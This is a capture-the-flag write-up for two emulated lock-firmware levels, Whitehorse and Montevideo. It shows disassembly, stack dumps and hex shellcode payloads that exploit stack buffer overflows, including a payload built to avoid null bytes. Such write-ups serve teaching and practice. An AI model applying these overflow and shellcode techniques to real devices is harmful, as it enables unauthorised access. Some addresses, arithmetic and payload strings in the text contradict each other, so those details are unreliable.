Well, isn’t this just turning out to be the longest winded CTF writeup series in the history of CTF writeup blog post series! Red teams will be breaking locks on Mars by the time we’re finished at this rate 😅
Whitehorse
Whitehorse - up in Yokon, named after the White Horse Rapids; before the river was dammed the rapids looked like the mane of a white horse.
Today we find ourselves in Whitehorse, Canada faced with revision c.01 of the LockIT Pro…
- This lock is attached to the LockIT Pro HSM-2.
- We have updated the lock firmware to connect with this hardware security module.
Checking back to the manual, we discover that the HSM-2 is connected directly to the deadbolt, so we probably won’t have a simple unlock
or similar function to jump to.
4438 <main>
4438: b012 f444 call #0x44f4 <login>
44f4 <login>
44f4: 3150 f0ff add #0xfff0, sp
44f8: 3f40 7044 mov #0x4470 "Enter the password to continue.", r15
44fc: b012 9645 call #0x4596 <puts>
4500: 3f40 9044 mov #0x4490 "Remember: passwords are between 8 and 16 characters.", r15
4504: b012 9645 call #0x4596 <puts>
4508: 3e40 3000 mov #0x30, r14
450c: 0f41 mov sp, r15
450e: b012 8645 call #0x4586 <getsn>
4512: 0f41 mov sp, r15
4514: b012 4644 call #0x4446 <conditional_unlock_door>
4518: 0f93 tst r15
451a: 0324 jz $+0x8 <login+0x2e>
451c: 3f40 c544 mov #0x44c5 "Access granted.", r15
4520: 023c jmp $+0x6 <login+0x32>
4522: 3f40 d544 mov #0x44d5 "That password is not correct.", r15
4526: b012 9645 call #0x4596 <puts>
452a: 3150 1000 add #0x10, sp
452e: 3041 ret
I don’t know about you, but those login instructions smell a lot like an advertisement of vulnerabilities to me!
Looking at the three instructions after the puts
calls, we can reason that the getsn
call looks something like getsn(&sp, 0x30)
; so is reading up to 48 bytes and storing it on the stack. If we look back at the first instruction in login
we can see that only 0x10
space is allocated on the stack which means we can overwrite 32 bytes of data on the stack; a classic stack overflow.
After this, register r15 is tested and a non-zero value indicates success to the user (but does not unlock the door – this is handled by the HSM).
We don’t even need to look at conditional_unlock_door
, all our exploiting is going to happen in login
.
A quick word on call
and ret
… When you call
a function, the next address of the instruction after the call has finished is pushed onto the stack so that when you ret
from that function you can pop the address from the stack into the pc and continue execution.
If we send “AAAAAAAAAAAAAAAA” (16 As) as our password and break at 0x452a, we can see this in action. Before executing add #0x10, sp
we can see the stack looks like so.
32c0: 0000 0000 4645 0100 4645 0300 ba45 0000 ....FE..FE...E..
32d0: 0a00 0000 2a45 4141 4141 4141 4141 4141 ....*EAAAAAAAAAA
32e0: 4141 4141 4141 0044 0000 0000 0000 0000 AAAAAA.D........
With sp
being 0x32d6, which is the location of the first “A”. Given we’ve provided the maximum length of allowed password (and we can count!) we know that after this instruction the sp
will be at 0x326e; pointing to the address containing 0044
which after futzing the Endianness is 0x4400
, or the address of main
. How very enticing.
So we can we can take control of pc
after the call to login
finishes, but “How does that help us? We don’t have anywhere useful to redirect the program flow” I hear you cry. Looks like it is time to graduate to writing shellcode!
We already know how to unlock the door - we just call INT(0x7f)
, or in assembly pseudo-code:
push #0x7f
call #INT
The machine code for the above is 30127f00
for the push
followed by b012XXXX
for the call, where XX is the address of INT
; so b0123245
for this binary.
The last piece of our exploit puzzle is redirecting flow to our shellcode. As discussed above, we know our input is stored on the stack starting from address 0x32d6.
Putting all the pieces together, we have:
- 8 bytes of shellcode:
30127f00b0123245
- 8 bytes of padding (8 As will do):
4242424242424242
- the address of our shellcode:
d632
Putting it all together we get 30127f00b01232454242424242424242d632
; lets give it a go!
If we break at 0x32d6
we can watch our exploit in action. Stepping through the instructions we can see that pc soon ends up pointing to our input and happily executes the instructions; we’re in!
As is tradition, lets take a look at the Ghidra decompilation.
void login(void) {
char *result;
char password[16];
puts(s_Enter_the_password_to_continue._4470);
puts(s_Remember:_passwords_are_between_8_4490);
getsn(password, 0x30);
conditional_unlock_door(password);
if (result == 0) {
result = s_That_password_is_not_correct._44d5;
}
else {
result = s_Access_granted._44c5;
}
puts(result);
return;
}
I think I prefer dealing with the Assembly for this one, but it does make it fairly easy to spot the inconsistency between the size of the password buffer and the length argument passed to getsn
.
Montevideo
Montevideo where the digital frontier meets the rhythm of the mellow Southern sea, and where our cybersecurity quest continues amidst echoes of Uruguayan tango.
Straight back on a plane, and off to Uruguay to hack some more locks! This time we’re faced with rev c.03 featuring some minor improvements.
- Lockitall developers have rewritten the code to conform to the internal secure development process.
- This lock is attached to the LockIT Pro HSM-2.
Not a lot to go off there, we’ve already met (and pwned) the HSM-2 in Whitehorse, and I think we’ve already learned by now that any claims by the Lockitall team of secure programming in their changelogs can probably be ignored.
Lets hook up our debugger and get stuck in.
4438 <main>
4438: b012 f444 call #0x44f4 <login>
44f4 <login>
44f4: 3150 f0ff add #0xfff0, sp
44f8: 3f40 7044 mov #0x4470 "Enter the password to continue.", r15
44fc: b012 b045 call #0x45b0 <puts>
4500: 3f40 9044 mov #0x4490 "Remember: passwords are between 8 and 16 characters.", r15
4504: b012 b045 call #0x45b0 <puts>
4508: 3e40 3000 mov #0x30, r14
450c: 3f40 0024 mov #0x2400, r15
4510: b012 a045 call #0x45a0 <getsn>
4514: 3e40 0024 mov #0x2400, r14
4518: 0f41 mov sp, r15
451a: b012 dc45 call #0x45dc <strcpy>
451e: 3d40 6400 mov #0x64, r13
4522: 0e43 clr r14
4524: 3f40 0024 mov #0x2400, r15
4528: b012 f045 call #0x45f0 <memset>
452c: 0f41 mov sp, r15
452e: b012 4644 call #0x4446 <conditional_unlock_door>
4532: 0f93 tst r15
4534: 0324 jz $+0x8 <login+0x48>
4536: 3f40 c544 mov #0x44c5 "Access granted.", r15
453a: 023c jmp $+0x6 <login+0x4c>
453c: 3f40 d544 mov #0x44d5 "That password is not correct.", r15
4540: b012 b045 call #0x45b0 <puts>
4544: 3150 1000 add #0x10, sp
4548: 3041 ret
Eyeballing the login
disassembly we can see it starts off very similar to that of the rev c.01 model; the first change being that getsn
writes the input to 0x2400
instead of the stack, then we have some strcpy
and memset
calls before returning to familiar code.
Converting to pseudo-code we get something like this:
void login() {
char password[16];
puts(enterPasswordPrompt);
puts(passwordLengthPrompt);
getsn(&0x2400, 0x30);
strcpy(&0x2400, &password);
memset(&0x2400, 0, 0x64);;
if (conditional_unlock_door()) {
puts(accessGranted);
} else {
puts(accessDenied);
}
}
We print some shit, then the important part happens; the getsn
, strcpy
, and memset
calls are all we should care about for now.
- Firstly we read 0x30 bytes of input and store it in 0x2400.
- Then the input is copied using
strcpy
onto the stack. - Finally the 0x2400-0x2464 memory ranged is zeroed (is that the word? zero’d?) out.
Clearly, they are onto the whole shellcode idea we used in Whitehorse… Alas they didn’t read the documentation properly; if they had read man 3 strcpy
before blindly using it as a sanitisation measure, they would see that while the only limitation offered by strcpy/2
is that stops copying at the first null byte, or \0
. My gut feeling here is that a similar exploit to that used above is going to get us inside, especially given they’re still potentially copying 0x30 bytes of data onto the stack where only 0x10 bytes have been reserved.
Last time we used 30127f00b01232454242424242424242d632
as our input, we’ll obviously need to change the addresses for sp
and INT
so we can take control of pc
and point it at our shellcode which respectively can send 0x7f
to INT
and unlock the door. Our stack pointer is at 0x43ee
and INT
is at 0x454c
so that would make our payload 30127f00b0124c454242424242424242ee43
(because endians).
Ah. Our payload contains a null byte, the 00
in 30127f00
which decompiles to push #0x7f
. The easiest way to fool this seems like it could be simple maths. Instead of writing 0x007f
directly to the stack, we could write 0xff80
to the stack and then subtract 0xff01
from that value in which case our payload would consist of:
mov #0xff8f, r10
sub #0xff10, r10
push r10
call #0x454c
Which when assembled looks like 3a408fff3a8010ff0a12b0124c45
. That makes our complete payload:
- the shellcode:
3a4080ff3a800a12b0124c45
- some padding, in this case 2 bytes because our shellcode is longer.
- the address of the stack pointer:
ee43
.
Stick 3a408fff3a8010ff0a12b0124c454242ee43
into the lock and pow, another one bites the dust. There is definitely room to get a higher score here, but I’ll leave this as an exercise to the reader (and maybe we can re-visit later to improve our payloads).
I don’t imagine it’ll be much different, but this is what Ghidra makes of the login function
void login(void) {
char password[16];
puts(enterPasswordPrompt);
puts(passwordLengthPrompt);
getsn(0x2400, 0x30);
strcpy(password, 0x2400);
memset(0x2400, 0, 0x64);
if (conditional_unlock_door(password)) {
puts(accessGranted);
} else {
puts(accessDenied);
}
}